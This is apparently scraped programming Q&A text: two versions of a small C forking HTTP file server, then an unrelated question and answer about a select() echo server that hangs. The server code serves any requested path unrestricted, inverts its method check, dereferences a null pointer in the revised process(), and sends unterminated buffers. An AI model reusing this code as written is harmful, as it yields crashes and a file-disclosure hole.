printf("Error opening file\n");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
send(fd, HTTP_GOOD_REQUEST, strlen(HTTP_GOOD_REQUEST), 0);
while ( check > 0)
{
check = read(iofd,buf,sizeof(buf));
if (check < 0)
{
printf("Error reading file\n");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
close(iofd);
return -1;
}
else if (check == 0)
break;
else
send(fd, buf, strlen(buf), 0);
}
send(fd, HTTP_END, strlen(HTTP_END), 0);
close(iofd);
return 0;
}
}
}
int process(int fd, char* header)
{
char npath[MAX_REQUEST_SIZE];
char *eol = strchr(header, '\r');
// split header to get path and method
char *method = strtok(header, " ");
char *path = strtok(NULL, " ");
char *http = strtok(NULL, " ");
if( eol != NULL )
*eol = '\0';
if( strcmp(method, "GET") || (strcmp(method, "POST")))
{
if( path[0] == '/' && path[1] == '\0' )
{
path ="/";
}
else if( path[0] == '/' )
{
snprintf(npath, MAX_REQUEST_SIZE, "%s", path);
path = npath;
}
return send_response(fd, path);
}
else
{
send(fd, HTTP_NOT_IMPLEMENTED, strlen(HTTP_NOT_IMPLEMENTED), 0);
return -1;
}
}
int get_line(int sock, char *buf, int size)
{
int i = 0;
char c = '\0';
int n;
while ((i < size - 1) && (c != '\n'))
{
n = recv(sock, &c, 1, 0);
if (n > 0)
{
if (c == '\r')
{
n = recv(sock, &c, 1, MSG_PEEK);
if ((n > 0) && (c == '\n'))
recv(sock, &c, 1, 0);
else
c = '\n';
}
buf[i] = c;
i++;
}
else
c = '\n';
}
buf[i] = '\0';
return(i);
}
int service(int fd)
{
char buffer[MAX_REQUEST_SIZE];
if (get_line(fd, buffer, MAX_REQUEST_SIZE) <= 0)
{
printf("Error reading from socket");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
return process(fd, buffer);
}
void cleanup( int signal )
{
int pid;
while(1)
{
pid = waitpid(-1, NULL, WNOHANG);
if( pid < 0 )
break;
else if( pid == 0 )
break;
}
exit(0);
}
int main(int argc, char *argv[])
{
int port = 80;
int max_requests;
struct sigaction finish;
finish.sa_handler = &cleanup;
sigaction( SIGINT, &finish, NULL );
if ((argc == 1) || (argc > 3))
{
printf("Usage Error: wrong amount of arguments to main");
return -1;
}
else if (argc == 3)
{
max_requests = strtol(argv[1], NULL, 0);
port = strtol(argv[2], NULL, 0);
}
else
max_requests = strtol(argv[1], NULL, 0);
struct sockaddr_in servaddr;
int serversock = socket(AF_INET, SOCK_STREAM, 0);
int on = 1;
if( serversock < 0 )
{
printf("Error creating socket: %s\n", strerror(errno));
return 1;
}
if( setsockopt(serversock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0 )
printf("Error tweaking socket options: %s\n", strerror(errno));
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
if( bind(serversock, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 )
{
printf("Error binding to server address: %s\n", strerror(errno));
return 1;
}
if( listen(serversock, max_requests) < 0 )
{
printf("Error using listen(): %s\n", strerror(errno));
return 1;
}
while(1)
{
int clientsock, pid, childstatus;
//server shall now wait for a new connection
clientsock = accept(serversock, NULL, NULL);
if( clientsock < 0 )
{
printf("Error using accept(): %s\n", strerror(errno));
return 1;
}
pid = fork();
if( pid < 0 )
{
printf("Error using fork(): %s\n", strerror(errno));
send(clientsock, HTTP_ERROR, strlen(HTTP_ERROR), 0);
close(clientsock);
continue;
}
else if( pid == 0 )
{
shutdown(serversock, 2);
if (service(clientsock) != 0 )
printf("error in service\n");
if (shutdown(clientsock, SHUT_WR) != 0)
{
printf("Error shutting the socket down: %s\n", strerror(errno));
return -1;
}
close(clientsock);
return 0;
}
pid = waitpid(-1, NULL, WNOHANG);
if( pid < 0 )
{
printf("Error using waitpid(): %s\n", strerror(errno));
break;
}
close(clientsock);
}
return 999;
}
the following code:
cleanly compiles
properly outputs error messages to stderr
properly outputs a 'usage' message when not correct number of command line parameters
'should' operate correctly with connections after the first
caveat: not thoroughly tested.
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <errno.h>
#include <signal.h>
#define HTTP_BAD_REQUEST "HTTP/1.1 404 Not Found\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>File Not Found</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_GOOD_REQUEST "HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Results</TITLE>\n</HEAD>\n<BODY>\n"
#define HTTP_ERROR "HTTP/1.1 500 Internal Server Error\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Internal Server Error!</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_NOT_IMPLEMENTED "HTTP/1.1 501 Not Implemented\nContent-Type: text/html\nConnection: Closed\n\n<HTML>\n<HEAD>\n<TITLE>Method Not Implemented</TITLE>\n</HEAD>\n<BODY>\n<br/>\n</BODY>\n</HTML>\n"
#define HTTP_END "<br/></BODY></HTML>\n\0"
#define MAX_REQUEST_SIZE 1024
int send_response(int fd, char* filepath)
{
struct stat statbuf;
int iofd; // file descriptor
ssize_t readStatus = 1;
char buf[ MAX_REQUEST_SIZE ];
if ( stat(filepath,&statbuf) < 0 )
{
perror( "stat for file failed" );
//printf("Path not found\n");
send(fd, HTTP_BAD_REQUEST, strlen(HTTP_BAD_REQUEST), 0);
return -1;
}
else
{ // path found
if(S_ISDIR(statbuf.st_mode))
{
//directory
DIR *dp;
struct dirent *ep;
dp = opendir (filepath);
if (dp == NULL)
{
fprintf( stderr, "Error opening directory\n");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
// implied else, opendir successful
send(fd, HTTP_GOOD_REQUEST, strlen(HTTP_GOOD_REQUEST), 0);
ep = readdir (dp);
while (ep != NULL)
{
send(fd, ep->d_name, strlen(ep->d_name), 0);
send(fd, "<br />", strlen("<br />"), 0);
ep = readdir (dp);
}
send(fd, HTTP_END, strlen(HTTP_END), 0);
closedir (dp);
return 0;
}
else if (S_ISREG(statbuf.st_mode))
{ //regular file
iofd = open(filepath, O_RDONLY);
if( iofd < 0 )
{
//fprintf(stderr, "Error opening file\n");
perror( "open failed" );
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
// implied else, open successful
send(fd, HTTP_GOOD_REQUEST, strlen(HTTP_GOOD_REQUEST), 0);
while ( readStatus > 0)
{
readStatus = read(iofd,buf,sizeof(buf));
if (readStatus < 0)
{
perror( "read of file failed");
//printf("Error reading file\n");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
close(iofd);
return -1;
}
else if (readStatus == 0) // EOF or signal
break;
else // transmit line from file
send(fd, buf, strlen(buf), 0);
} // end while
send(fd, HTTP_END, strlen(HTTP_END), 0);
close(iofd);
return 0;
}
}
return -2;
}
int process(int fd, char* header)
{
// split header to get path and method
char *method = strtok(header, " ");
char *path = strtok(NULL, " ");
//char *http = strtok(NULL, " ");
// if trailing newline, replace with NUL byte
char *eol = NULL;
if( NULL == (eol = strchr(header, '\r') ) )
*eol = '\0';
if( strcmp(method, "GET") || (strcmp(method, "POST")))
{
return send_response(fd, path);
}
else
{
send(fd, HTTP_NOT_IMPLEMENTED, strlen(HTTP_NOT_IMPLEMENTED), 0);
return -1;
}
} // end function: process
int get_line(int sock, char *buf, int size)
{
int i = 0;
char c = '\0';
ssize_t recvStatus;
while ( (i < (size - 1)) && (c != '\n') )
{
recvStatus = recv(sock, &c, 1, 0);
if ( recvStatus > 0)
{ // then some bytes read
if (c == '\r')
{
recvStatus = recv(sock, &c, 1, MSG_PEEK);
if ((recvStatus > 0) && (c == '\n'))
recv(sock, &c, 1, 0);
else
c = '\n';
} // endif
buf[i] = c;
i++;
}
else
{
c = '\n';
} // endif
} // end while
// terminate the char array
buf[i] = '\0';
return(i);
} // end function: get_line
int service(int fd)
{
char buffer[MAX_REQUEST_SIZE];
if (get_line(fd, buffer, MAX_REQUEST_SIZE) <= 0)
{
fprintf( stderr, "Error reading from socket");
send(fd, HTTP_ERROR, strlen(HTTP_ERROR), 0);
return -1;
}
return process(fd, buffer);
} // end function: service
void cleanup( int signal )
{
(void)signal;
pid_t pid;
while(1)
{
pid = waitpid(-1, NULL, WNOHANG);
if( pid <= 0 )
break;
}
exit(0);
} // end function: cleanup
int main(int argc, char *argv[])
{
uint16_t port = 80;
int max_requests;
struct sigaction finish;
finish.sa_handler = &cleanup;
sigaction( SIGINT, &finish, NULL );
if ( (argc != 3) && (argc != 2) )
{
fprintf( stderr, "USAGE: %s <maxConnections> [<portToUse>]\n", argv[0]);
//printf("Usage Error: wrong amount of arguments to main");
return -1;
}
max_requests = (int)strtol(argv[1], NULL, 0);
if( 3 == argc )
{
port = (uint16_t)strtol(argv[2], NULL, 0);
}
int serversock = socket(AF_INET, SOCK_STREAM, 0);
if( serversock < 0 )
{
printf("Error creating socket: %s\n", strerror(errno));
return 1;
}
int on = 1;
if( setsockopt(serversock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0 )
{
perror( "setsockopt for SO_REUSEADDR failed" );
//printf("Error tweaking socket options: %s\n", strerror(errno));
}
if( setsockopt(serversock, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof(on)) < 0 )
{
perror( "setsockopt for SO_KEEPALIVE failed" );
//printf("Error tweaking socket options: %s\n", strerror(errno));
}
struct sockaddr_in servaddr;
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port);
if( bind(serversock, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 )
{
perror( "bind failed" );
//printf("Error binding to server address: %s\n", strerror(errno));
return 1;
}
if( listen(serversock, max_requests) < 0 )
{
perror( "listen failed" );
//printf("Error using listen(): %s\n", strerror(errno));
return 1;
}
while(1)
{
int clientsock;
pid_t pid;
//int childstatus;
//server shall now wait for a new connection
clientsock = accept(serversock, NULL, NULL);
if( clientsock < 0 )
{
perror( "accept failed" );
//printf("Error using accept(): %s\n", strerror(errno));
close( serversock );
return 1;
}
pid = fork();
switch( pid )
{
case -1: // fork failed
fprintf(stderr, "Error using fork(): %s\n", strerror(errno));
send(clientsock, HTTP_ERROR, strlen(HTTP_ERROR), 0);
close(clientsock);
break;
case 0: // in child process
//shutdown(serversock, 2);
if (service(clientsock) != 0 )
{
fprintf( stderr, "error in service\n");
}
close(clientsock);
return 0;
break;
default: // in parent process
pid = waitpid( -1, NULL, WNOHANG);
close(clientsock);
break;
} // end switch
} // end while
return 0;
} // end function: main
i don't know why the select function don't return any result.
I put the server in execution with this command:
./server 5555
and i try to send any character from another terminal, using:
nc 127.0.0.1 5555
and
any string to send
This is the source code of the server.c
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#define MAXSIZE 1000
int main(int argc, char **argv) {
int socketfd, connectedfd, maxfd;
int ris, i, len, ris1, sent, opt;
struct sockaddr_in serverS, clientS;
short int localServerPort;
fd_set rdfs, wrfs;
char buffer[MAXSIZE];
if (argc != 2) {
printf("necessario un parametro PORTNUMBER");
exit(1);
} else {
localServerPort = atoi(argv[1]);
}
socketfd = socket(AF_INET, SOCK_STREAM, 0);
if (socketfd < 0) {
printf("socket() error\n");
exit(1);
}
opt = 1;
ris = setsockopt(socketfd, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt));
if (ris < 0) {
printf ("setsockopt() SO_REUSEADDR failed, Err: %d \"%s\"\n", errno,strerror(errno));
exit(1);
}
memset(&serverS, 0, sizeof(serverS));
serverS.sin_family = AF_INET;
serverS.sin_addr.s_addr = htonl(INADDR_ANY);
serverS.sin_port = htons(localServerPort);
ris = bind(socketfd, (struct sockaddr*)&serverS, sizeof(serverS));
if (ris < 0) {
printf("bind() error");
exit(1);
}
ris = listen(socketfd, 10);
if (ris < 0) {
printf("listen() error");
exit(1);
}
len = sizeof(clientS);
connectedfd = accept(socketfd, (struct sockaddr*)&clientS, &len);
if (connectedfd < 0) {
printf("accept() error");
exit(1);
} else {
printf("Connesso con: %s:%d - descrittore: %d\n", inet_ntoa(clientS.sin_addr), ntohs(clientS.sin_port), connectedfd);
}
fd_set tempset;
FD_ZERO(&rdfs);
//FD_ZERO(&wrfs);
FD_SET(connectedfd, &rdfs);
maxfd = connectedfd + 1;
while (1) {
printf("Select...\n");
ris = select(connectedfd, &rdfs, NULL, NULL, NULL);
printf("test\n");
if (ris == 0) {
printf("select() timeout error\n");
} else if (ris < 0 && errno != EINTR) {
printf("select() error\n");
} else if (ris > 0) {
printf("test ris > 0\n");
for (i = 0; i < maxfd+1; i++) {
if (FD_ISSET(i, &rdfs)) {
do {
ris = recv(i, buffer, MAXSIZE, 0);
} while (ris == -1 && errno == EINTR);
if (ris > 0) {
buffer[ris] = 0;
printf("Echoing: %s\n", buffer);
sent = 0;
do {
ris1 = send(i, buffer+sent, ris-sent, MSG_NOSIGNAL);
if (ris1 > 0)
sent += ris1;
else if (ris1 < 0 && errno != EINTR);
break;
} while (ris > sent);
}
else if (ris == 0) {
close(i);
FD_CLR(i, &rdfs);
}
else {
printf("Error in recv(): %s\n", strerror(errno));
}
}
}
}
}
return(0);
}
Why the execution remain locked at "Select...\n"?
Thanks to all!
From http://linux.die.net/man/2/select, the first param passed should be the highest-numbered file descriptor in any of the three sets (read/write/exception), plus 1. I would try the following:
ris = select(connectedfd+1, &rdfs, NULL, NULL, NULL);